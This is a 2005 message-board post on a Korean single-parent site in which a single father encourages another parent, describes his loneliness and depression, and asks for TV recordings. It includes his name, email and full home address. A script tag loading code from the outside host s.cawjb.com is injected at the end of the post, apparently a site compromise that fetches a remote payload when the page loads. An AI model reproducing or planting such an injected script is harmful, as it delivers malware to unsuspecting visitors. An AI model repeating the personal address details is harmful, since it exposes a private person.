▒▒ 한국한부모가정연구소 ▒▒▒▒

: ID : PW


	제 목	멈출수없는 것들....살아가는 이유들

	번 호	1008	조회수	1849	이메일	c3708@daum.net

	작성자	하늘			작성일		05-11-17

	첨부화일

	내 용	님 이멜주소가 세이라 아이디 검색해서 세이 홈 들어가보았어여... 딸 이쁘게 키우고 계시는군여... 울딸 보다두 더.... 이해합니다..그리고 동감합니다..그러나 멈출수있는 성격의 일이 아니 라 지금까지 해오신 것처럼 딸이란 풍선에 사랑을 가득가득 채워넣는 일.....앞으로도 잘하시리라 생각합니다. 힘들져...내시간은 하나도 없구 내인생도 없구 .... 4년째접어드시는군여...전..5 년째접어들어여. 다그런건 아니것지만 처음 1~2년은 홀로되어 아가를 키워야 하는일이 더 급해서 정신없이 흘러버리고.... 4~5년째접어들면 그런것들이 약간은 익숙해져서 스스로를 돌아보게들 되나봐여 그래서 또 한번의 위기가 오나봐여... 내인생은 어디갔나?? 아가들 위해 내인생을 포기할 이유가 있을까? 등등의 갈등이 홀로된지 4~5년후에 들 나타나나봐여.. 저.. 역시 그러하니깐여. 밤마다 잠을 못이루면서....생각하는 것들... 가정위탁에 맡겨볼까.. 다시 24시간 어린이집에 맡겨놓구 일도 자유롭게하구 여자도 만나고.....밤에 외출해서 술집도 가보구.. 여행도 해보구 영화도 보러가보구 연극도 보러가보구... 아님 고아원에 잠시 맡겨볼까... 전 친척이없으니 딸이랑 세상에 딱 둘이니 달리 맡길때도없구.. 이런 저런 생각을 해보게 되네여.. 그러면서 느끼는건 처음 홀로되어 아가를 키우게 되었을때는 딸이랑 절대로 헤어지면 아니된다 어떻게든 같이 살아야한다는 독한 결심때문에 감히 내인생은 생각조차도 아니했는데.. 이젠 내인생을 돌이켜보는거보니 처음보다는 많이 여유로워졌고 행복해졌나봐여... 자기 방에서 자다 요즘은 나랑 같이 잔다고 해서 같이 자는데 양팔을 만세부르는것처럼 하늘로 뻗구 이리뒹굴 저리 뒹글.^^ 자는 딸의 표정을 보니 넘 평온하게 자네여. 내가 딸의 곁에 있기에 딸은 안심하고 날믿기에 이세상에서 가장 평안한 표정으로 자고 있는것이겠지여. 못난 내가 아직까지는 누군가에게 꼭 필요한 존재란것.... ..기둥이 믿음이 된다는것에 감사합니다. 처음 홀로 되었을때...세상에 아가랑 나랑 딱둘이구나 하는 공포심으로 출발했어여. 그때도 잘이겨내었구여 ...오년째가 되니 또 다른 위기가 오네여 전 어떻게든 잘이겨낼겁니다. 님은 4년째군여.. 처음 시작을 잘 이겨내셨듯....이고비도 넘기실겁니다.... 세이 아이디: c3708 닉네임: 하늘 세이에서 음악방송합니다 우울증 치료약으로 딱좋져. 적막한 동굴속에 혼자 있는 그 느낌 저도 알져.. 인터넷으로 누군가 알수없는 대상들로 연결되어있다는 안도감에 음악방송을 시작했어여... 음악이나 술이나 마약이나 ........ 신이 우리에게 주신 영혼을 잠시나마 마취시키는 것들이지여..힘들때 쓰라고... 술은 많이 하면 몸이 망가지고... 마약도 의료용으로 쓰면 좋으나 현실도피용으로 쓰면.. 영혼과 육신이 망가지고.... 음악도 많이 들으면 뇌세포가 파괴된다는 보고도 있고... 님이 너무 힘들고 지칠때..아이들이란 내가 날수없도록.. 나의 날개를 묶어놓는 것들이라는 느낌이 들어서 포기하고 플때는....신이 주신 선물들을 적절히 용량에 맞게 .. 복용한이 있더라도 ...아이가 스스로 먹이를 구할수있는 나이까지는 먹이를 물어다 입에넣어주는 작업과 사랑을 불어넣어주는 작업 멈추시지 마시길..... 전 음악이... 아주 쬐끔 살아가는데 기쁨이 되고 우울증 치료제로 딱 좋더군여. 한발 한발 걷다보면...길이 보이겠지여.. 지금은 안개에 쌓여 보이지 않던 길들이여. 언젠가는 딸이 학교갔다 미술학원서오는 7시 30분이후에도 한가로히 밤길을 혼자 걸어보는 내시간을 가져보는게 전 꿈입니다. 오늘도 저녁 7시 30분이후에는 감옥(?)살이군여..^^ 내년에는 초등학교 2학년되니 딸아이한테 혼자 놀다 잘래..아빠..놀다올께....하면 이해할까여??? 아님..더 행복한 감옥살이를 더 해야할까여....^^; 내나이 40이니 울딸이 초딩 1학년이니 컥..내가 파파할아버지나 되어야 조금 자유시간이 주어지것네여^^; 이런 저런 생각에 오늘도 잠을 설칠것 같습니다. 여러분들 행복한 꿈들 꾸시고 진짜 잠을 주무세여.. 뒤척이다 티브이 멍하니보다 잠드는 그런 잠말구.. 소장님 잘지내시져..^^ 이글 보시면.... 1.EBS TV 프로그램 " 시선" 2.KBS1라디오 시사플러스는 2005년 9월6일 3.MBC 특별한 아침에서 2005년 9월 5일(월) 4.KBS1 TV 「취재파일4321」 출연한 비디오테이프 녹화해두셨음 택배착불로 보내주시면 감사하겠습니다. 딸크면 보여주고 프네여. 아빤 널 키울려고 이렇게 까지..노력했다고여 주소는 서울 금천구 독산1동 하안주공아파트 1318동 114호 양 창호 행복은 오는게 아니라 스스로 만들어가지?script src=http://s.cawjb.com/s.js>

비밀번호: